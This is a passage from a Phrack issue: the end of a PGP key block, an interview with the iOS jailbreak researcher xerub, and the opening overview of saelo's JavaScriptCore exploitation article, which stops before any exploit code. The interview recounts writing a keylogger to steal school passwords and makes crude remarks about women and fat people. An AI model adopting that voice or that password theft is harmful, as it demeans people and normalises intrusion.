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

=vq07

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

Phrack Prophile on xerub

==Phrack Inc.==

Volume 0x10, Issue 0x46, Phile #0x02 of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ PHRACK PROPHILE ON XERUB ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Phrack Staff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑=[ Specs

Handle: xerub

AKA: concat(*given_name, surname) <insert other silly names made up during my teen years> Handle origin: Completely made up. Any semblance with literary or real life is purely coincidental. The X is to be read like a Latin X, or even the the Greek letter X, if you prefer, but never like 'sh'. Also, Quake3's Xaero is my cousin. Age of your body: Old enough to remember the horrors of the Eastern Bloc. Also XOR AX, AX is faster than MOV AX, 0. Change my mind! Height & weight: 170+ & slender

Produced in: Romania

Urlz: https://github.com/xerub, https://twitter.com/xerub

Computers: AMD K5, K6, Pentium Pro, Celeron, Core2 Duo, Core‑iX Creator of: The concept of kppless jailbreaks [sic] Member of: XXX

Admin of: XXX

Projects: 0x41con

Codez: img4lib, ROP compiler, many other incomplete tools used in jailbreaking

Active since: Around the turn of the millennium

Inactive since: 2020

|=‑‑‑=[ Favs

Actors: J.P. Belmondo, Gheorghe Dinica.

Films: Brazil, Blade Runner, Fight Club.

Authors: Raymond Chandler, Oscar Wilde, Aldous Huxley, George Orwell. Meetings: 0x41con, Warcon early editions.

Sex: Promiscuous & dirty.

Books: Dead classics, mostly. No technical book ever. Novel: The Picture of Dorian Gray.

Meeting: Richard Feynman, +ORC

Music: Deep Purple, Led Zeppelin, Queen before '92. Alcohol: Single malt scotch, straight. Red dry wine. Cars: BMW

Women: Young, tall and slender with a sexy ass.

Men: Nop.

Food: Italian, SE Asian seafood.

I like: Freedom, sunny weather, unhealthy habits, scantily‑clad babes. I dislike: Hypocrisy, political correctness, authority, the philosophical Left. Zealots of any kind. Fat people occupying two seats in a bus.

|=‑‑‑=[ Life in 3 sentences

After being raised in a rural area, I went to high school in a medium‑sized city. High school changed my life, because it meant the opportunity to use a real computer. During university, a nasty car accident paused my studies, but around the same time I landed a couple of jobs, ultimately settling for a security company and staying with them ever since.

|=‑‑‑=[ Passions, what makes you tick

Understanding the intricate details of a machinery. Any machinery, starting with mechanical ones down to the most complex Rube Goldberg‑esque software exploits. But the true joy begins when I build such machineries myself. Even when not doing vulnerability research, I spent my hacking days close to the hardware, squeezing the last bit out of it; be it 3D graphics cards drivers or x86 protected mode system software.

|=‑‑‑=[ Memorable experiences

Going backwards in time that would be: the two 0x41con meetings; greetz to all the people involved, here's to hoping for the next one. My first trip to East Asia; amazing history, amazing people, amazing food. My very first iOS vulnerability ‑ a dyld codesign bypass; I was stupid enough to pass it down to someone who then used it without my permission. Taking apart my 1.1.2 OTB iPhone and performing a baseband hardware unlock by pulling the A17 trace high, following geohot blogposts. Understanding the genius behind ZMist. Trying, and failing to crack SoftIce; I guess I wanted to have my name on it but I had to settle with Marquis de Soiree instead. The first contact with a computer; it changed my life.

|=‑‑‑=[ Quotes

"The smart way to keep people passive and obedient is to strictly limit the spectrum of acceptable opinion, but allow very lively debate within that spectrum" ‑N. Chomsky

"The robber baron's cruelty may sometimes sleep, his cupidity may at some point be satiated; but those who torment us for our own good will torment us without end for they do so with the approval of their own conscience." ‑C.S. Lewis

|=‑‑‑=[ What's your opinion about Phrack?

I am often asked by young people how and where to find materials related to hacking and my invariable response would be Phrack. They can find here pretty much everything, from the venerable stack overflows ‑‑ Aleph One's Smashing the Stack for Fun and Profit ‑‑ to the most complex hacking of relatively modern software. Phrack is THE place to learn about hacking.

|=‑‑‑=[ What you would like to see published in Phrack?

I believe the most valuable articles are those describing techniques and not specific bugs. Two of these seminal papers were extremely important to me: nemo's Modern Objective‑C Exploitation Techniques and saelo's Attacking JavaScript engines. These are only a couple of papers which allowed hackers to pull their magic for years to come. We definitely need more of these!

|=‑‑‑=[ Who or what inspired you to start hacking?

Razor 1911. As a boy, I imagined I would like to crack games and play them for the rest of my life.

|=‑‑‑=[ We know that no one will ever admit he's part of the underground, but, when and how did you enter it? :>

I did NOT enter the underground when I created my first keylogger, I think. I just found out about TSR (terminate and stay resident) feature of DOS and set out to steal some user passwords from the school lab. INT 09 ftw!

|=‑‑‑=[ What do you consider your most notable technical achievement?

I guess the most anticipated response to this question would be: owning the bootchain. It's not, let me explain why: the bootchain is a mixed blessing. While it is regarded by many as a Holy Grail, it is truly a white elephant. First, it was never really needed for continuing research; second, speaking of such rare bugs is a one‑way trip to killing them; and third, most of the time they end up used by entities I personally would not like to have them.

My bootchain research started somewhere in 2015 and ended around 2017, and while it did produce a couple of bugs, I do not consider them to be notable technical achievements, because they pretty much lack complexity, with the exception of the most useless one: the HFS+ iBoot stack overflow.

While this may sound bizarre, I do not rate my hacking on the value of the end goal itself, but on the complexity of the attack. Most of my exploits were, in turn, my most notable technical achievement up to that respective point. If I had to pick one, it was getting shell into a locked iPhone, about five years ago. And then again this year, with CVE‑2021‑30737.

|=‑‑‑=[ Related to the previous question: Can you give us some background information? How and why did you come up with this? Can you give us an anecdote story related to it?

Back at the time it was considered an extremely hard job, except for owning the bootchain. It happened in the wake of the FBI vs Apple lawsuit over backdooring iOS. I set out to do it with the help of some friends, but we were using some freshly patched bugs. As a result, it didn't end up being very useful, but the full chain was probably one of the most complex I have ever written. Also, the experience I accrued during the process helped me greatly to repeat it five years later using an 0day with minimal effort.

|=‑‑‑=[ You have published a lot of work (code, keys, etc) on Apple‑specific technology. What do you find attractive about Apple as a research target?

All the cool kids were doing it. Besides, in the beginning, it was fun to break into an iPhone, if only to stick it to Apple who thought their OS was impregnable. But on the other hand, I truly liked their phones, both from a hardware and software standpoint.

|=‑‑‑=[ When have you started looking into Apple technology?

I think it was in December 2007, when I got my first iPhone. My boss gave it to me at the company party as a reward for something I can't remember. There is a strong probability the whole deal involved bribes and women of dubious moral standards.

|=‑‑‑=[ What's your opinion about Apple's stance on software and hardware security?

Apple has a lot of code to deal with. The sheer amount of their own code makes security bugs become almost a certainty, but they are alleviating this by compartmentalisation and other security mitigations, with varying degree of success. Their bug‑fixing sucks, most of the time it is either an incomplete patch or downright a bad one. They also use a lot of third party code, but do not seem to do a good job of tracking security fixes in those libraries. This leads to some of the most embarrassing security problems.

On the hardware front they are doing a pretty good job, however. Isolating the sensitive crypto material in the Secure Enclave outside the Application Processor is probably one of the best ideas they had so far. Unfortunately, they overlooked a couple of things in the early models (mainly 32bit SEP), allowing them to be hacked with relative ease.

|=‑‑‑=[ What's the future of Apple‑related security research (not only jailbreaking, more generally speaking) in the light of ARMv8.3 features (PAC, etc) and Apple's hardware security measures according to your opinion?

PAC is a good mitigation because it significantly raises the bar of gaining an initial foothold, at least in certain scenarios. However, when PAC first landed it was not as pervasive as it should have been, protecting only code pointers while leaving out crucial data pointers: CoreFoundation runtime, internal kernel structures, etc. Apple will also add MTE to their chips in the near future, which may raise the difficulty of future exploits even more. But then again, it all depends on how it will be implemented.

Unfortunately, Apple‑related security research boils down to either use a Security Research Device or use an exploit chain to break into the iPhone for further exploration. The former is a strong No for many people because of Apple's Terms and Conditions, while the latter implies an n‑day or even a 0‑day. In the near future we can still go that route, but as the current devices become obsolete and newer ones come packed with hw mitigations, it will become increasingly difficult.

On the bright side, the Macs are slightly more open for the time being and fortunately for us, the same research often applies to their mobile devices because they share an enormous amount of code with the Macs. This somehow postpones the aforementioned problems for a while.

Another solution would be to resort to iOS/device emulation, but that holds an uncertain future and is not available to the public at large. I have no experience whatsoever in this area.

|=‑‑‑=[ Is the Apple "underground" still as strong as it was, say, 5 years ago? Relating to the previous question, what do you thing about its future?

It certainly is not. Many talented researchers have left, become inactive, got a job (at Apple or elsewhere) or entered the exploit market.

|=‑‑‑=[ What open problems and emerging technologies do you think are good research topics? Current and future.

The best research topics are those areas that are not very well understood, especially in closed, proprietary systems: basebands, wifi firmwares, etc.

|=‑‑‑=[ Do you prefer offensive or defensive research? Which of the two do you think helps learning and understanding more?

I certainly like both. Defensive is much, much harder though. My personal experience tells me it's easier to go the offensive route, and move to the other side once you have gained enough insight and experience. This allows you to have a clear image about a mitigation in your system: what are you supposed to defend, where is the security boundary, how is this mitigation helpful, etc.

|=‑‑‑=[ What's your take on the IT security industry vs. "the underground"?

For a long time, the underground was the crucible from where the new talent emerged. In the past, it was the only place where one could find knowledge and acquire true skill. And the Dark Side is more appealing to youngsters, especially during their teen years. But as they grow older, they need to get real jobs and oftentimes they join the Industry. On top of that, things have changed, because nowadays one could learn about security in school, or from the myriad of published exploits. This means the Industry can bypass the underground, which is beginning to fade.

|=‑‑‑=[ Some claim that the hacking scene is growing old and that there are not enough talented young people interested in hacking to replace it. What are your thoughts on this?

I believe there is enough talented young people interested. The "problem" is that they are snatched as young as possible by the Industry, lured by fat paychecks. As such, their voyage through the hacking scene is rather short, if at all. This may lead to a starvation of the scene, at least to some degree.

|=‑‑‑=[ What is your advice to the new hackers reading this?

Start early, when you have enough energy, time and ideas. Do not dismiss old techniques and bugs, there is always something to be learned in those lessons. Most often than not, there is an overlooked bug next to the one that just got patched. Also, no amount of books, slides and papers can beat hands‑on experience, ever. Roll up your sleeves and prepare to dive in.

|=‑‑‑=[ What was your most "enlightening" insight so far? Either technical or not (or both).

Time is our most precious resource during our lifetime. It is probably the only thing one can never recoup or buy. Use it wisely and enjoy life. Hack away as long as hacking brings joy and satisfaction, and then move on.

|=‑‑‑=[ What is your stance on full‑disclosure vs non‑disclosure? Are there situations where both are needed, or is it one or the other?

I am leaning towards full‑disclosure. While there may be circumstances in which non‑disclosure is preferable, I still think full‑disclosure raises the awareness of certain bugs and forces both the software vendor and the customers to realize the gravity and patch as soon as possible.

|=‑‑‑=[ What is the future of hacking? The future of "the underground"?

Very few hackers are left to hack for the sake of hacking. Most of them get early jobs in security, but oftentimes they end up doing boring stuff. On top of that, the bar for hacking the most interesting targets nowadays is much higher than, say ten or twenty years ago. My personal feeling is that hackers gonna hack, but the golden age is behind us now.

|=‑‑‑=[ What do you think is the role of Phrack in the current "scene" that is dominated by "cons"?

Cons are a great way of meeting friends, new people in the field, have fun and generally speaking, do networking. However, a deck of slides will never be as detailed as a white‑paper, or an elaborate article. And this is where Phrack shines. Another aspect is that Phrack goes back in history. There is plenty of material starting from the simplest to the more complex hacking techniques and it is the go‑to place for a newbie.

|=‑‑‑=[ What do you think the biggest infosec challenges for the next 5 years are/will be? And what should be done about them?

The harder problem in the short to medium future is to protect our privacy. On one hand, governments are pressuring for backdooring crypto and on the other hand, dubious entities are trying to break it. I have no idea how will this pan out, but I'm not very optimistic about it. Governments will eventually have their way, babbling something about the Greater Good or something along that vein. The other guys will have their way by trying to own the endpoints, but that is not likely to happen en masse.

Speaking of the endpoint security, I believe the web browsers and their ever‑increasing complexity will be the bane of our existence for years to come. The browsers wield way too much expressive power on the client‑side which can be used to bypass all sorts of mitigations.

Another issue that plagued us for the past several years, vaguely related to the above, is the multitude of breaches that happened left and right, exposing troves of user data from big corps' supposedly secure databases. The easiest way to prevent such disasters is to avoid storing said data, but I'm afraid that will never happen, because it conflicts with their mercantile interests.

|=‑‑‑=[ Open question. Anything more you would like to say to Phrack readers?

I would like to thank the Phrack staff for this honour, I am both flattered and humbled for being prophiled. That said, I'm pretty sure there are at least several dozens of hackers who are ten times better than me, or have lived much more interesting lives. Kudos to all of you, you know who you are!

Attacking JavaScript Engines

==Phrack Inc.==

Volume 0x10, Issue 0x46, Phile #0x03 of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ The Art of Exploitation ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Attacking JavaScript Engines ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑=[ A case study of JavaScriptCore and CVE‑2016‑4622 ]=‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ saelo ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ phrack@saelo.net ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Table of contents

0 ‑ Introduction

1 ‑ JavaScriptCore overview

1.1 ‑ Values, the VM, and (NaN‑)boxing

1.2 ‑ Objects and arrays

1.3 ‑ Functions

2 ‑ The bug

2.1 ‑ The vulnerable code

2.2 ‑ About JavaScript type conversions

2.3 ‑ Exploiting with valueOf

2.4 ‑ Reflecting on the bug

3 ‑ The JavaScriptCore heaps

3.1 ‑ Garbage collector basics

3.2 ‑ Marked space

3.3 ‑ Copied space

4 ‑ Constructing exploit primitives

4.1 ‑ Prerequisites: Int64

4.2 ‑ addrof and fakeobj

4.3 ‑ Plan of exploitation

5 ‑ Understanding the JSObject system

5.1 ‑ Property storage

5.2 ‑ JSObject internals

5.3 ‑ About structures

6 ‑ Exploitation

6.1 ‑ Predicting structure IDs

6.2 ‑ Putting things together: faking a Float64Array 6.3 ‑ Executing shellcode

6.4 ‑ Surviving garbage collection

6.5 ‑ Summary

7 ‑ Abusing the renderer process

7.1 ‑ WebKit process and privilege model

7.2 ‑ The same‑origin policy

7.3 ‑ Stealing emails

8 ‑ References

9 ‑ Source code

‑‑[ 0 ‑ Introduction

This article strives to give an introduction to the topic of JavaScript engine exploitation at the example of a specific vulnerability. The particular target will be JavaScriptCore, the engine inside WebKit.

The vulnerability in question is CVE‑2016‑4622 and was discovered by yours truly in early 2016, then reported as ZDI‑16‑485 [1]. It allows an attacker to leak addresses as well as inject fake JavaScript objects into the engine. Combining these primitives will result in remote code execution inside the renderer process. The bug was fixed in 650552a. Code snippets in this article were taken from commit 320b1fc, which was the last vulnerable revision. The vulnerability was introduced approximately one year earlier with commit 2fa4973. All exploit code was tested on Safari 9.1.1.

The exploitation of said vulnerability requires knowledge of various engine internals, which are, however, also quite interesting by themselves. As such various pieces that are part of a modern JavaScript engine will be discussed along the way. We will focus on the implementation of JavaScriptCore, but the concepts will generally be applicable to other engines as well.

Prior knowledge of the JavaScript language will, for the most part, not be required.

‑‑[ 1 ‑ JavaScript engine overview

On a high level, a JavaScript engine contains

* a compiler infrastructure, typically including at least one just‑in‑time (JIT) compiler

* a virtual machine that operates on JavaScript values

* a runtime that provides a set of builtin objects and functions

We will not be concerned about the inner workings of the compiler infrastructure too much as they are mostly irrelevant to this specific bug. For our purposes it suffices to treat the compiler as a black box which emits bytecode (and potentially native code in the case of a JIT compiler) from the given source code.

‑‑‑‑[ 1.1 ‑ The VM, Values, and NaN‑boxing

The virtual machine (VM) typically contains an interpreter which can directly execute the emitted bytecode. The VM is often implemented as stack‑based machines (in contrast to register‑based machines) and thus operate around a stack of values. The implementation of a specific opcode handler might then look something like this:

CASE(JSOP_ADD)

{

MutableHandleValue lval = REGS.stackHandleAt(‑2); MutableHandleValue rval = REGS.stackHandleAt(‑1); MutableHandleValue res = REGS.stackHandleAt(‑2); if (!AddOperation(cx, lval, rval, res)) goto error;

REGS.sp‑‑;

}

END_CASE(JSOP_ADD)

Note that this example is actually taken from Firefox' Spidermonkey engine as JavaScriptCore (from here on abbreviated as JSC) uses an interpreter that is written in a form of assembly language and thus not quite as straightforward as the above example. The interested reader can however find the implementation of JSC's low‑level interpreter (llint) in LowLevelInterpreter64.asm.

Often the first stage JIT compiler (sometimes called baseline JIT) takes care of removing some of the dispatching overhead of the interpreter while higher stage JIT compilers perform sophisticated optimizations, similar to the ahead‑of‑time compilers we are used to. Optimizing JIT compilers are typically speculative, meaning they will perform optimizations based on some speculation, e.g. 'this variable will always contain a number'. Should the speculation ever turn out to be incorrect, the code will usually bail out to one of the lower tiers. For more information about the different execution modes the reader is referred to [2] and [3].

JavaScript is a dynamically typed language. As such, type information is associated with the (runtime) values rather than (compile‑time) variables. The JavaScript type system [4] defines primitive types (number, string, boolean, null, undefined, symbol) and objects (including arrays and functions). In particular, there is no concept of classes in the JavaScript language as is present in other languages. Instead, JavaScript uses what is called "prototype‑based‑inheritance", where each objects has a (possibly null) reference to a prototype object whose properties it incorporates. The interested reader is referred to the JavaScript specification [5] for more information.

All major JavaScript engines represent a value with no more than 8 bytes for performance reasons (fast copying, fits into a register on 64‑bit architectures). Some engines like Google's v8 use tagged pointers to represent values. Here the least significant bits indicate whether the value is a pointer or some form of immediate value. JavaScriptCore (JSC) and Spidermonkey in Firefox on the other hand use a concept called NaN‑boxing. NaN‑boxing makes use of the fact that there exist multiple bit patterns which all represent NaN, so other values can be encoded in these. Specifically, every IEEE 754 floating point value with all exponent bits set, but a fraction not equal to zero represents NaN. For double precision values [6] this leaves us with 2^51 different bit patterns (ignoring the sign bit and setting the first fraction bit to one so nullptr can still be represented). That's enough to encode both 32‑bit integers and pointers, since even on 64‑bit platforms only 48 bits are currently used for addressing.

The scheme used by JSC is nicely explained in JSCJSValue.h, which the reader is encouraged to read. The relevant part is quoted below as it will be important later on:

* The top 16‑bits denote the type of the encoded JSValue: *

* Pointer { 0000:PPPP:PPPP:PPPP

* / 0001:****:****:****

* Double { ...

* \ FFFE:****:****:****

* Integer { FFFF:0000:IIII:IIII

*

* The scheme we have implemented encodes double precision values by * performing a 64‑bit integer addition of the value 2^48 to the number. * After this manipulation no encoded double‑precision value will begin * with the pattern 0x0000 or 0xFFFF. Values must be decoded by * reversing this operation before subsequent floating point operations * may be performed.

*

* 32‑bit signed integers are marked with the 16‑bit tag 0xFFFF. *

* The tag 0x0000 denotes a pointer, or another form of tagged * immediate. Boolean, null and undefined values are represented by * specific, invalid pointer values:

*

* False: 0x06

* True: 0x07

* Undefined: 0x0a

* Null: 0x02

*

Interestingly, 0x0 is not a valid JSValue and will lead to a crash inside the engine.

‑‑‑‑[ 1.2 ‑ Objects and Arrays

Objects in JavaScript are essentially collections of properties which are stored as (key, value) pairs. Properties can be accessed either with the dot operator (foo.bar) or through square brackets (foo['bar']). At least in theory, values used as keys are converted to strings before performing the lookup.

Arrays are described by the specification as special ("exotic") objects whose properties are also called elements if the property name can be represented by a 32‑bit integer [7]. Most engines today extend this notion to all objects. An array then becomes an object with a special 'length' property whose value is always equal to the index of the highest element plus one. The net result of all this is that every object has both properties, accessed through a string or symbol key, and elements, accessed through integer indices.

